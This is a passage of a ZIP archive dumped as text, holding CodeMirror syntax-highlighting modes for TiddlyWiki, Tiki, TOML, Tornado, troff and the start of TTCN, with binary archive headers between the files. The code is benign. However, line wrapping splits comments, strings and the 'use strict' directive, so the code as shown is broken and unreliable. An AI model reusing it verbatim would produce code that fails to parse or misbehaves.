      return chain(stream, state, twTokenStrong);

    if (ch == "<" && stream.eat("<")) //
tw macro
      return chain(stream, state, twTokenMacro);

    // core macro handling
    stream.eatWhile(/[\w\$_]/);
    return textwords.propertyIsEnumerable(stream.current()) ?
"keyword" : null
  }

  // tw invisible comment
  function twTokenComment(stream, state) {
    var maybeEnd = false, ch;
    while (ch = stream.next()) {
      if (ch == "/" && maybeEnd) {
        state.tokenize = tokenBase;
        break;
      }
      maybeEnd = (ch == "%");
    }
    return "comment";
  }

  // tw strong / bold
  function twTokenStrong(stream, state) {
    var maybeEnd = false,
    ch;
    while (ch = stream.next()) {
      if (ch == "'" && maybeEnd) {
        state.tokenize = tokenBase;
        break;
      }
      maybeEnd = (ch == "'");
    }
    return "strong";
  }

  // tw code
  function twTokenCode(stream, state) {
    var sb = state.block;

    if (sb && stream.current()) {
      return "comment";
    }

    if (!sb && stream.match(reUntilCodeStop)) {
      state.tokenize = tokenBase;
      return "comment";
    }

    if (sb && stream.sol() &&
stream.match(reCodeBlockStop)) {
      state.tokenize = tokenBase;
      return "comment";
    }

    stream.next();
    return "comment";
  }

  // tw em / italic
  function twTokenEm(stream, state) {
    var maybeEnd = false,
    ch;
    while (ch = stream.next()) {
      if (ch == "/" && maybeEnd) {
        state.tokenize = tokenBase;
        break;
      }
      maybeEnd = (ch == "/");
    }
    return "em";
  }

  // tw underlined text
  function twTokenUnderline(stream, state) {
    var maybeEnd = false,
    ch;
    while (ch = stream.next()) {
      if (ch == "_" && maybeEnd) {
        state.tokenize = tokenBase;
        break;
      }
      maybeEnd = (ch == "_");
    }
    return "underlined";
  }

  // tw strike through text looks ugly
  // change CSS if needed
  function twTokenStrike(stream, state) {
    var maybeEnd = false, ch;

    while (ch = stream.next()) {
      if (ch == "-" && maybeEnd) {
        state.tokenize = tokenBase;
        break;
      }
      maybeEnd = (ch == "-");
    }
    return "strikethrough";
  }

  // macro
  function twTokenMacro(stream, state) {
    if (stream.current() == '<<') {
      return 'macro';
    }

    var ch = stream.next();
    if (!ch) {
      state.tokenize = tokenBase;
      return null;
    }
    if (ch == ">") {
      if (stream.peek() == '>') {
        stream.next();
        state.tokenize = tokenBase;
        return "macro";
      }
    }

    stream.eatWhile(/[\w\$_]/);
    return keywords.propertyIsEnumerable(stream.current()) ?
"keyword" : null
  }

  // Interface
  return {
    startState: function () {
      return {tokenize: tokenBase};
    },

    token: function (stream, state) {
      if (stream.eatSpace()) return null;
      var style = state.tokenize(stream, state);
      return style;
    }
  };
});

CodeMirror.defineMIME("text/x-tiddlywiki",
"tiddlywiki");
});
PKJ��[��p��-codemirror/mode/tiddlywiki/tiddlywiki.min.cssnu�[���span.cm-underlined{text-decoration:underline}span.cm-strikethrough{text-decoration:line-through}span.cm-brace{color:#170;font-weight:700}span.cm-table{color:#00f;font-weight:700}PKJ��[���W,codemirror/mode/tiddlywiki/tiddlywiki.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("tiddlywiki",(function(){function
a(a,b,c){return b.tokenize=c,c(a,b)}function b(b,k){var
v=b.sol(),w=b.peek();if(k.block=!1,v&&/[<\/\*{}\-]/.test(w)){if(b.match(u))return
k.block=!0,a(b,k,e);if(b.match(p))return"quote";if(b.match(n)||b.match(o))return"comment";if(b.match(q)||b.match(r)||b.match(s)||b.match(t))return"comment";if(b.match(m))return"hr"}if(b.next(),v&&/[\/\*!#;:>|]/.test(w)){if("!"==w)return
b.skipToEnd(),"header";if("*"==w)return
b.eatWhile("*"),"comment";if("#"==w)return
b.eatWhile("#"),"comment";if(";"==w)return
b.eatWhile(";"),"comment";if(":"==w)return
b.eatWhile(":"),"comment";if(">"==w)return
b.eatWhile(">"),"quote";if("|"==w)return"header"}if("{"==w&&b.match(/\{\{/))return
a(b,k,e);if(/[hf]/i.test(w)&&/[ti]/i.test(b.peek())&&b.match(/\b(ttps?|tp|ile):\/\/[\-A-Z0-9+&@#\/%?=~_|$!:,.;]*[A-Z0-9+&@#\/%=~_|$]/i))return"link";if('"'==w)return"string";if("~"==w)return"brace";if(/[\[\]]/.test(w)&&b.match(w))return"brace";if("@"==w)return
b.eatWhile(l),"link";if(/\d/.test(w))return
b.eatWhile(/\d/),"number";if("/"==w){if(b.eat("%"))return
a(b,k,c);if(b.eat("/"))return
a(b,k,f)}if("_"==w&&b.eat("_"))return
a(b,k,g);if("-"==w&&b.eat("-")){if("
"!=b.peek())return a(b,k,h);if("
"==b.peek())return"brace"}return"'"==w&&b.eat("'")?a(b,k,d):"<"==w&&b.eat("<")?a(b,k,i):(b.eatWhile(/[\w\$_]/),j.propertyIsEnumerable(b.current())?"keyword":null)}function
c(a,c){for(var
d,e=!1;d=a.next();){if("/"==d&&e){c.tokenize=b;break}e="%"==d}return"comment"}function
d(a,c){for(var
d,e=!1;d=a.next();){if("'"==d&&e){c.tokenize=b;break}e="'"==d}return"strong"}function
e(a,c){var d=c.block;return
d&&a.current()?"comment":!d&&a.match(w)?(c.tokenize=b,"comment"):d&&a.sol()&&a.match(v)?(c.tokenize=b,"comment"):(a.next(),"comment")}function
f(a,c){for(var
d,e=!1;d=a.next();){if("/"==d&&e){c.tokenize=b;break}e="/"==d}return"em"}function
g(a,c){for(var
d,e=!1;d=a.next();){if("_"==d&&e){c.tokenize=b;break}e="_"==d}return"underlined"}function
h(a,c){for(var
d,e=!1;d=a.next();){if("-"==d&&e){c.tokenize=b;break}e="-"==d}return"strikethrough"}function
i(a,c){if("<<"==a.current())return"macro";var
d=a.next();return
d?">"==d&&">"==a.peek()?(a.next(),c.tokenize=b,"macro"):(a.eatWhile(/[\w\$_]/),k.propertyIsEnumerable(a.current())?"keyword":null):(c.tokenize=b,null)}var
j={},k={allTags:!0,closeAll:!0,list:!0,newJournal:!0,newTiddler:!0,permaview:!0,saveChanges:!0,search:!0,slider:!0,tabs:!0,tag:!0,tagging:!0,tags:!0,tiddler:!0,timeline:!0,today:!0,version:!0,option:!0,with:!0,filter:!0},l=/[\w_\-]/i,m=/^\-\-\-\-+$/,n=/^\/\*\*\*$/,o=/^\*\*\*\/$/,p=/^<<<$/,q=/^\/\/\{\{\{$/,r=/^\/\/\}\}\}$/,s=/^<!--\{\{\{-->$/,t=/^<!--\}\}\}-->$/,u=/^\{\{\{$/,v=/^\}\}\}$/,w=/.*?\}\}\}/;return{startState:function(){return{tokenize:b}},token:function(a,b){return
a.eatSpace()?null:b.tokenize(a,b)}}})),a.defineMIME("text/x-tiddlywiki","tiddlywiki")}));PKJ��[�o��codemirror/mode/tiki/tiki.cssnu�[���.cm-tw-syntaxerror
{
	color: #FFF;
	background-color: #900;
}

.cm-tw-deleted {
	text-decoration: line-through;
}

.cm-tw-header5 {
	font-weight: bold;
}
.cm-tw-listitem:first-child { /*Added first child to fix duplicate padding
when highlighting*/
	padding-left: 10px;
}

.cm-tw-box {
	border-top-width: 0px !important;
	border-style: solid;
	border-width: 1px;
	border-color: inherit;
}

.cm-tw-underline {
	text-decoration: underline;
}PKJ��[�Ĝ�!!codemirror/mode/tiki/tiki.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode('tiki', function(config) {
  function inBlock(style, terminator, returnTokenizer) {
    return function(stream, state) {
      while (!stream.eol()) {
        if (stream.match(terminator)) {
          state.tokenize = inText;
          break;
        }
        stream.next();
      }

      if (returnTokenizer) state.tokenize = returnTokenizer;

      return style;
    };
  }

  function inLine(style) {
    return function(stream, state) {
      while(!stream.eol()) {
        stream.next();
      }
      state.tokenize = inText;
      return style;
    };
  }

  function inText(stream, state) {
    function chain(parser) {
      state.tokenize = parser;
      return parser(stream, state);
    }

    var sol = stream.sol();
    var ch = stream.next();

    //non start of line
    switch (ch) { //switch is generally much faster than if, so it is used
here
    case "{": //plugin
      stream.eat("/");
      stream.eatSpace();
      stream.eatWhile(/[^\s\u00a0=\"\'\/?(}]/);
      state.tokenize = inPlugin;
      return "tag";
    case "_": //bold
      if (stream.eat("_"))
        return chain(inBlock("strong", "__", inText));
      break;
    case "'": //italics
      if (stream.eat("'"))
        return chain(inBlock("em", "''",
inText));
      break;
    case "(":// Wiki Link
      if (stream.eat("("))
        return chain(inBlock("variable-2", "))",
inText));
      break;
    case "[":// Weblink
      return chain(inBlock("variable-3", "]", inText));
      break;
    case "|": //table
      if (stream.eat("|"))
        return chain(inBlock("comment", "||"));
      break;
    case "-":
      if (stream.eat("=")) {//titleBar
        return chain(inBlock("header string", "=-",
inText));
      } else if (stream.eat("-")) {//deleted
        return chain(inBlock("error tw-deleted", "--",
inText));
      }
      break;
    case "=": //underline
      if (stream.match("=="))
        return chain(inBlock("tw-underline", "===",
inText));
      break;
    case ":":
      if (stream.eat(":"))
        return chain(inBlock("comment", "::"));
      break;
    case "^": //box
      return chain(inBlock("tw-box", "^"));
      break;
    case "~": //np
      if (stream.match("np~"))
        return chain(inBlock("meta", "~/np~"));
      break;
    }

    //start of line types
    if (sol) {
      switch (ch) {
      case "!": //header at start of line
        if (stream.match('!!!!!')) {
          return chain(inLine("header string"));
        } else if (stream.match('!!!!')) {
          return chain(inLine("header string"));
        } else if (stream.match('!!!')) {
          return chain(inLine("header string"));
        } else if (stream.match('!!')) {
          return chain(inLine("header string"));
        } else {
          return chain(inLine("header string"));
        }
        break;
      case "*": //unordered list line item, or <li /> at
start of line
      case "#": //ordered list line item, or <li /> at
start of line
      case "+": //ordered list line item, or <li /> at
start of line
        return chain(inLine("tw-listitem bracket"));
        break;
      }
    }

    //stream.eatWhile(/[&{]/); was eating up plugins, turned off to act
less like html and more like tiki
    return null;
  }

  var indentUnit = config.indentUnit;

  // Return variables for tokenizers
  var pluginName, type;
  function inPlugin(stream, state) {
    var ch = stream.next();
    var peek = stream.peek();

    if (ch == "}") {
      state.tokenize = inText;
      //type = ch == ")" ? "endPlugin" :
"selfclosePlugin"; inPlugin
      return "tag";
    } else if (ch == "(" || ch == ")") {
      return "bracket";
    } else if (ch == "=") {
      type = "equals";

      if (peek == ">") {
        stream.next();
        peek = stream.peek();
      }

      //here we detect values directly after equal character with no quotes
      if (!/[\'\"]/.test(peek)) {
        state.tokenize = inAttributeNoQuote();
      }
      //end detect values

      return "operator";
    } else if (/[\'\"]/.test(ch)) {
      state.tokenize = inAttribute(ch);
      return state.tokenize(stream, state);
    } else {
      stream.eatWhile(/[^\s\u00a0=\"\'\/?]/);
      return "keyword";
    }
  }

  function inAttribute(quote) {
    return function(stream, state) {
      while (!stream.eol()) {
        if (stream.next() == quote) {
          state.tokenize = inPlugin;
          break;
        }
      }
      return "string";
    };
  }

  function inAttributeNoQuote() {
    return function(stream, state) {
      while (!stream.eol()) {
        var ch = stream.next();
        var peek = stream.peek();
        if (ch == " " || ch == "," || /[
)}]/.test(peek)) {
      state.tokenize = inPlugin;
      break;
    }
  }
  return "string";
};
                     }

var curState, setStyle;
function pass() {
  for (var i = arguments.length - 1; i >= 0; i--)
curState.cc.push(arguments[i]);
}

function cont() {
  pass.apply(null, arguments);
  return true;
}

function pushContext(pluginName, startOfLine) {
  var noIndent = curState.context && curState.context.noIndent;
  curState.context = {
    prev: curState.context,
    pluginName: pluginName,
    indent: curState.indented,
    startOfLine: startOfLine,
    noIndent: noIndent
  };
}

function popContext() {
  if (curState.context) curState.context = curState.context.prev;
}

function element(type) {
  if (type == "openPlugin") {curState.pluginName = pluginName;
return cont(attributes, endplugin(curState.startOfLine));}
  else if (type == "closePlugin") {
    var err = false;
    if (curState.context) {
      err = curState.context.pluginName != pluginName;
      popContext();
    } else {
      err = true;
    }
    if (err) setStyle = "error";
    return cont(endcloseplugin(err));
  }
  else if (type == "string") {
    if (!curState.context || curState.context.name != "!cdata")
pushContext("!cdata");
    if (curState.tokenize == inText) popContext();
    return cont();
  }
  else return cont();
}

function endplugin(startOfLine) {
  return function(type) {
    if (
      type == "selfclosePlugin" ||
        type == "endPlugin"
    )
      return cont();
    if (type == "endPlugin") {pushContext(curState.pluginName,
startOfLine); return cont();}
    return cont();
  };
}

function endcloseplugin(err) {
  return function(type) {
    if (err) setStyle = "error";
    if (type == "endPlugin") return cont();
    return pass();
  };
}

function attributes(type) {
  if (type == "keyword") {setStyle = "attribute";
return cont(attributes);}
  if (type == "equals") return cont(attvalue, attributes);
  return pass();
}
function attvalue(type) {
  if (type == "keyword") {setStyle = "string"; return
cont();}
  if (type == "string") return cont(attvaluemaybe);
  return pass();
}
function attvaluemaybe(type) {
  if (type == "string") return cont(attvaluemaybe);
  else return pass();
}
return {
  startState: function() {
    return {tokenize: inText, cc: [], indented: 0, startOfLine: true,
pluginName: null, context: null};
  },
  token: function(stream, state) {
    if (stream.sol()) {
      state.startOfLine = true;
      state.indented = stream.indentation();
    }
    if (stream.eatSpace()) return null;

    setStyle = type = pluginName = null;
    var style = state.tokenize(stream, state);
    if ((style || type) && style != "comment") {
      curState = state;
      while (true) {
        var comb = state.cc.pop() || element;
        if (comb(type || style)) break;
      }
    }
    state.startOfLine = false;
    return setStyle || style;
  },
  indent: function(state, textAfter) {
    var context = state.context;
    if (context && context.noIndent) return 0;
    if (context && /^{\//.test(textAfter))
        context = context.prev;
    while (context && !context.startOfLine)
        context = context.prev;
    if (context) return context.indent + indentUnit;
    else return 0;
  },
  electricChars: "/"
};
});

CodeMirror.defineMIME("text/tiki", "tiki");

});
PKJ��[�Ef�99!codemirror/mode/tiki/tiki.min.cssnu�[���.cm-tw-syntaxerror{color:#FFF;background-color:#900}.cm-tw-deleted{text-decoration:line-through}.cm-tw-header5{font-weight:700}.cm-tw-listitem:first-child{padding-left:10px}.cm-tw-box{border-top-width:0!important;border-style:solid;border-width:1px;border-color:inherit}.cm-tw-underline{text-decoration:underline}PKJ��[4l�
codemirror/mode/tiki/tiki.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("tiki",(function(a){function
b(a,b,c){return
function(e,f){for(;!e.eol();){if(e.match(b)){f.tokenize=d;break}e.next()}return
c&&(f.tokenize=c),a}}function c(a){return
function(b,c){for(;!b.eol();)b.next();return c.tokenize=d,a}}function
d(a,f){function g(b){return f.tokenize=b,b(a,f)}var
h=a.sol(),i=a.next();switch(i){case"{":return
a.eat("/"),a.eatSpace(),a.eatWhile(/[^\s\u00a0=\"\'\/?(}]/),f.tokenize=e,"tag";case"_":if(a.eat("_"))return
g(b("strong","__",d));break;case"'":if(a.eat("'"))return
g(b("em","''",d));break;case"(":if(a.eat("("))return
g(b("variable-2","))",d));break;case"[":return
g(b("variable-3","]",d));case"|":if(a.eat("|"))return
g(b("comment","||"));break;case"-":if(a.eat("="))return
g(b("header
string","=-",d));if(a.eat("-"))return
g(b("error
tw-deleted","--",d));break;case"=":if(a.match("=="))return
g(b("tw-underline","===",d));break;case":":if(a.eat(":"))return
g(b("comment","::"));break;case"^":return
g(b("tw-box","^"));case"~":if(a.match("np~"))return
g(b("meta","~/np~"))}if(h)switch(i){case"!":return
g(a.match("!!!!!")?c("header
string"):a.match("!!!!")?c("header
string"):a.match("!!!")?c("header
string"):a.match("!!")?c("header
string"):c("header
string"));case"*":case"#":case"+":return
g(c("tw-listitem bracket"))}return null}function e(a,b){var
c=a.next(),e=a.peek();return"}"==c?(b.tokenize=d,"tag"):"("==c||")"==c?"bracket":"="==c?(s="equals",">"==e&&(a.next(),e=a.peek()),/[\'\"]/.test(e)||(b.tokenize=g()),"operator"):/[\'\"]/.test(c)?(b.tokenize=f(c),b.tokenize(a,b)):(a.eatWhile(/[^\s\u00a0=\"\'\/?]/),"keyword")}function
f(a){return
function(b,c){for(;!b.eol();)if(b.next()==a){c.tokenize=e;break}return"string"}}function
g(){return function(a,b){for(;!a.eol();){var
c=a.next(),d=a.peek();if(" "==c||","==c||/[
)}]/.test(d)){b.tokenize=e;break}}return"string"}}function
h(){for(var
a=arguments.length-1;a>=0;a--)t.cc.push(arguments[a])}function
i(){return h.apply(null,arguments),!0}function j(a,b){var
c=t.context&&t.context.noIndent;t.context={prev:t.context,pluginName:a,indent:t.indented,startOfLine:b,noIndent:c}}function
k(){t.context&&(t.context=t.context.prev)}function
l(a){if("openPlugin"==a)return
t.pluginName=r,i(o,m(t.startOfLine));if("closePlugin"==a){var
b=!1;return
t.context?(b=t.context.pluginName!=r,k()):b=!0,b&&(u="error"),i(n(b))}return"string"==a?(t.context&&"!cdata"==t.context.name||j("!cdata"),t.tokenize==d&&k(),i()):i()}function
m(a){return
function(b){return"selfclosePlugin"==b||"endPlugin"==b?i():"endPlugin"==b?(j(t.pluginName,a),i()):i()}}function
n(a){return function(b){return
a&&(u="error"),"endPlugin"==b?i():h()}}function
o(a){return"keyword"==a?(u="attribute",i(o)):"equals"==a?i(p,o):h()}function
p(a){return"keyword"==a?(u="string",i()):"string"==a?i(q):h()}function
q(a){return"string"==a?i(q):h()}var
r,s,t,u,v=a.indentUnit;return{startState:function(){return{tokenize:d,cc:[],indented:0,startOfLine:!0,pluginName:null,context:null}},token:function(a,b){if(a.sol()&&(b.startOfLine=!0,b.indented=a.indentation()),a.eatSpace())return
null;u=s=r=null;var
c=b.tokenize(a,b);if((c||s)&&"comment"!=c)for(t=b;;){var
d=b.cc.pop()||l;if(d(s||c))break}return
b.startOfLine=!1,u||c},indent:function(a,b){var
c=a.context;if(c&&c.noIndent)return
0;for(c&&/^{\//.test(b)&&(c=c.prev);c&&!c.startOfLine;)c=c.prev;return
c?c.indent+v:0},electricChars:"/"}})),a.defineMIME("text/tiki","tiki")}));PKJ��[�)�RRcodemirror/mode/toml/toml.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("toml", function () {
  return {
    startState: function () {
      return {
        inString: false,
        stringType: "",
        lhs: true,
        inArray: 0
      };
    },
    token: function (stream, state) {
      //check for state changes
      if (!state.inString && ((stream.peek() == '"')
|| (stream.peek() == "'"))) {
        state.stringType = stream.peek();
        stream.next(); // Skip quote
        state.inString = true; // Update state
      }
      if (stream.sol() && state.inArray === 0) {
        state.lhs = true;
      }
      //return state
      if (state.inString) {
        while (state.inString && !stream.eol()) {
          if (stream.peek() === state.stringType) {
            stream.next(); // Skip quote
            state.inString = false; // Clear flag
          } else if (stream.peek() === '\\') {
            stream.next();
            stream.next();
          } else {
            stream.match(/^.[^\\\"\']*/);
          }
        }
        return state.lhs ? "property string" :
"string"; // Token style
      } else if (state.inArray && stream.peek() === ']')
{
        stream.next();
        state.inArray--;
        return 'bracket';
      } else if (state.lhs && stream.peek() === '['
&& stream.skipTo(']')) {
        stream.next();//skip closing ]
        // array of objects has an extra open & close []
        if (stream.peek() === ']') stream.next();
        return "atom";
      } else if (stream.peek() === "#") {
        stream.skipToEnd();
        return "comment";
      } else if (stream.eatSpace()) {
        return null;
      } else if (state.lhs && stream.eatWhile(function (c) { return
c != '=' && c != ' '; })) {
        return "property";
      } else if (state.lhs && stream.peek() === "=") {
        stream.next();
        state.lhs = false;
        return null;
      } else if (!state.lhs &&
stream.match(/^\d\d\d\d[\d\-\:\.T]*Z/)) {
        return 'atom'; //date
      } else if (!state.lhs && (stream.match('true') ||
stream.match('false'))) {
        return 'atom';
      } else if (!state.lhs && stream.peek() === '[') {
        state.inArray++;
        stream.next();
        return 'bracket';
      } else if (!state.lhs && stream.match(/^\-?\d+(?:\.\d+)?/)) {
        return 'number';
      } else if (!stream.eatSpace()) {
        stream.next();
      }
      return null;
    }
  };
});

CodeMirror.defineMIME('text/x-toml', 'toml');

});
PKJ��[��G��
codemirror/mode/toml/toml.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("toml",(function(){return{startState:function(){return{inString:!1,stringType:"",lhs:!0,inArray:0}},token:function(a,b){if(b.inString||'"'!=a.peek()&&"'"!=a.peek()||(b.stringType=a.peek(),a.next(),b.inString=!0),a.sol()&&0===b.inArray&&(b.lhs=!0),b.inString){for(;b.inString&&!a.eol();)a.peek()===b.stringType?(a.next(),b.inString=!1):"\\"===a.peek()?(a.next(),a.next()):a.match(/^.[^\\\"\']*/);return
b.lhs?"property string":"string"}return
b.inArray&&"]"===a.peek()?(a.next(),b.inArray--,"bracket"):b.lhs&&"["===a.peek()&&a.skipTo("]")?(a.next(),"]"===a.peek()&&a.next(),"atom"):"#"===a.peek()?(a.skipToEnd(),"comment"):a.eatSpace()?null:b.lhs&&a.eatWhile((function(a){return"="!=a&&"
"!=a}))?"property":b.lhs&&"="===a.peek()?(a.next(),b.lhs=!1,null):!b.lhs&&a.match(/^\d\d\d\d[\d\-\:\.T]*Z/)?"atom":b.lhs||!a.match("true")&&!a.match("false")?b.lhs||"["!==a.peek()?!b.lhs&&a.match(/^\-?\d+(?:\.\d+)?/)?"number":(a.eatSpace()||a.next(),null):(b.inArray++,a.next(),"bracket"):"atom"}}})),a.defineMIME("text/x-toml","toml")}));PKJ��[�Y�	�	"codemirror/mode/tornado/tornado.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"),
require("../htmlmixed/htmlmixed"),
        require("../../addon/mode/overlay"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror",
"../htmlmixed/htmlmixed",
            "../../addon/mode/overlay"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.defineMode("tornado:inner", function() {
    var keywords =
["and","as","assert","autoescape","block","break","class","comment","context",
                   
"continue","datetime","def","del","elif","else","end","escape","except",
                   
"exec","extends","false","finally","for","from","global","if","import","in",
                   
"include","is","json_encode","lambda","length","linkify","load","module",
                   
"none","not","or","pass","print","put","raise","raw","return","self","set",
                   
"squeeze","super","true","try","url_escape","while","with","without","xhtml_escape","yield"];
    keywords = new RegExp("^((" + keywords.join(")|(")
+ "))\\b");

    function tokenBase (stream, state) {
      stream.eatWhile(/[^\{]/);
      var ch = stream.next();
      if (ch == "{") {
        if (ch = stream.eat(/\{|%|#/)) {
          state.tokenize = inTag(ch);
          return "tag";
        }
      }
    }
    function inTag (close) {
      if (close == "{") {
        close = "}";
      }
      return function (stream, state) {
        var ch = stream.next();
        if ((ch == close) && stream.eat("}")) {
          state.tokenize = tokenBase;
          return "tag";
        }
        if (stream.match(keywords)) {
          return "keyword";
        }
        return close == "#" ? "comment" :
"string";
      };
    }
    return {
      startState: function () {
        return {tokenize: tokenBase};
      },
      token: function (stream, state) {
        return state.tokenize(stream, state);
      }
    };
  });

  CodeMirror.defineMode("tornado", function(config) {
    var htmlBase = CodeMirror.getMode(config, "text/html");
    var tornadoInner = CodeMirror.getMode(config,
"tornado:inner");
    return CodeMirror.overlayMode(htmlBase, tornadoInner);
  });

  CodeMirror.defineMIME("text/x-tornado", "tornado");
});
PKJ��[�|���&codemirror/mode/tornado/tornado.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror"),require("../htmlmixed/htmlmixed"),require("../../addon/mode/overlay")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror","../htmlmixed/htmlmixed","../../addon/mode/overlay"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("tornado:inner",(function(){function
a(a,c){a.eatWhile(/[^\{]/);var
d=a.next();if("{"==d&&(d=a.eat(/\{|%|#/)))return
c.tokenize=b(d),"tag"}function
b(b){return"{"==b&&(b="}"),function(d,e){return
d.next()==b&&d.eat("}")?(e.tokenize=a,"tag"):d.match(c)?"keyword":"#"==b?"comment":"string"}}var
c=["and","as","assert","autoescape","block","break","class","comment","context","continue","datetime","def","del","elif","else","end","escape","except","exec","extends","false","finally","for","from","global","if","import","in","include","is","json_encode","lambda","length","linkify","load","module","none","not","or","pass","print","put","raise","raw","return","self","set","squeeze","super","true","try","url_escape","while","with","without","xhtml_escape","yield"];return
c=new
RegExp("^(("+c.join(")|(")+"))\\b"),{startState:function(){return{tokenize:a}},token:function(a,b){return
b.tokenize(a,b)}}})),a.defineMode("tornado",(function(b){var
c=a.getMode(b,"text/html"),d=a.getMode(b,"tornado:inner");return
a.overlayMode(c,d)})),a.defineMIME("text/x-tornado","tornado")}));PKJ��[�V�CY	Y	codemirror/mode/troff/troff.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object")
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd)
    define(["../../lib/codemirror"], mod);
  else
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode('troff', function() {

  var words = {};

  function tokenBase(stream) {
    if (stream.eatSpace()) return null;

    var sol = stream.sol();
    var ch = stream.next();

    if (ch === '\\') {
      if (stream.match('fB') || stream.match('fR') ||
stream.match('fI') ||
          stream.match('u')  || stream.match('d')  ||
          stream.match('%')  || stream.match('&'))
{
        return 'string';
      }
      if (stream.match('m[')) {
        stream.skipTo(']');
        stream.next();
        return 'string';
      }
      if (stream.match('s+') || stream.match('s-')) {
        stream.eatWhile(/[\d-]/);
        return 'string';
      }
      if (stream.match('\(') || stream.match('*\(')) {
        stream.eatWhile(/[\w-]/);
        return 'string';
      }
      return 'string';
    }
    if (sol && (ch === '.' || ch ===
'\'')) {
      if (stream.eat('\\') &&
stream.eat('\"')) {
        stream.skipToEnd();
        return 'comment';
      }
    }
    if (sol && ch === '.') {
      if (stream.match('B ') || stream.match('I ') ||
stream.match('R ')) {
        return 'attribute';
      }
      if (stream.match('TH ') || stream.match('SH ') ||
stream.match('SS ') || stream.match('HP ')) {
        stream.skipToEnd();
        return 'quote';
      }
      if ((stream.match(/[A-Z]/) && stream.match(/[A-Z]/)) ||
(stream.match(/[a-z]/) && stream.match(/[a-z]/))) {
        return 'attribute';
      }
    }
    stream.eatWhile(/[\w-]/);
    var cur = stream.current();
    return words.hasOwnProperty(cur) ? words[cur] : null;
  }

  function tokenize(stream, state) {
    return (state.tokens[0] || tokenBase) (stream, state);
  };

  return {
    startState: function() {return {tokens:[]};},
    token: function(stream, state) {
      return tokenize(stream, state);
    }
  };
});

CodeMirror.defineMIME('text/troff', 'troff');
CodeMirror.defineMIME('text/x-troff', 'troff');
CodeMirror.defineMIME('application/x-troff', 'troff');

});
PKJ��[���"codemirror/mode/troff/troff.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("troff",(function(){function
a(a){if(a.eatSpace())return null;var
b=a.sol(),d=a.next();if("\\"===d)return
a.match("fB")||a.match("fR")||a.match("fI")||a.match("u")||a.match("d")||a.match("%")||a.match("&")?"string":a.match("m[")?(a.skipTo("]"),a.next(),"string"):a.match("s+")||a.match("s-")?(a.eatWhile(/[\d-]/),"string"):a.match("(")||a.match("*(")?(a.eatWhile(/[\w-]/),"string"):"string";if(b&&("."===d||"'"===d)&&a.eat("\\")&&a.eat('"'))return
a.skipToEnd(),"comment";if(b&&"."===d){if(a.match("B
")||a.match("I ")||a.match("R
"))return"attribute";if(a.match("TH
")||a.match("SH ")||a.match("SS
")||a.match("HP "))return
a.skipToEnd(),"quote";if(a.match(/[A-Z]/)&&a.match(/[A-Z]/)||a.match(/[a-z]/)&&a.match(/[a-z]/))return"attribute"}a.eatWhile(/[\w-]/);var
e=a.current();return c.hasOwnProperty(e)?c[e]:null}function
b(b,c){return(c.tokens[0]||a)(b,c)}var
c={};return{startState:function(){return{tokens:[]}},token:function(a,c){return
b(a,c)}}})),a.defineMIME("text/troff","troff"),a.defineMIME("text/x-troff","troff"),a.defineMIME("application/x-troff","troff")}));PKM��[�h��'�'codemirror/mode/ttcn/ttcn.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.defineMode("ttcn", function(config, parserConfig) {
    var indentUnit = config.indentUnit,
        keywords = parserConfig.keywords || {},
        builtin = parserConfig.builtin || {},
        timerOps = parserConfig.timerOps || {},
        portOps  = parserConfig.portOps || {},
        configOps = parserConfig.configOps || {},
        verdictOps = parserConfig.verdictOps || {},
        sutOps = parserConfig.sutOps || {},
        functionOps = parserConfig.functionOps || {},

        verdictConsts = parserConfig.verdictConsts || {},
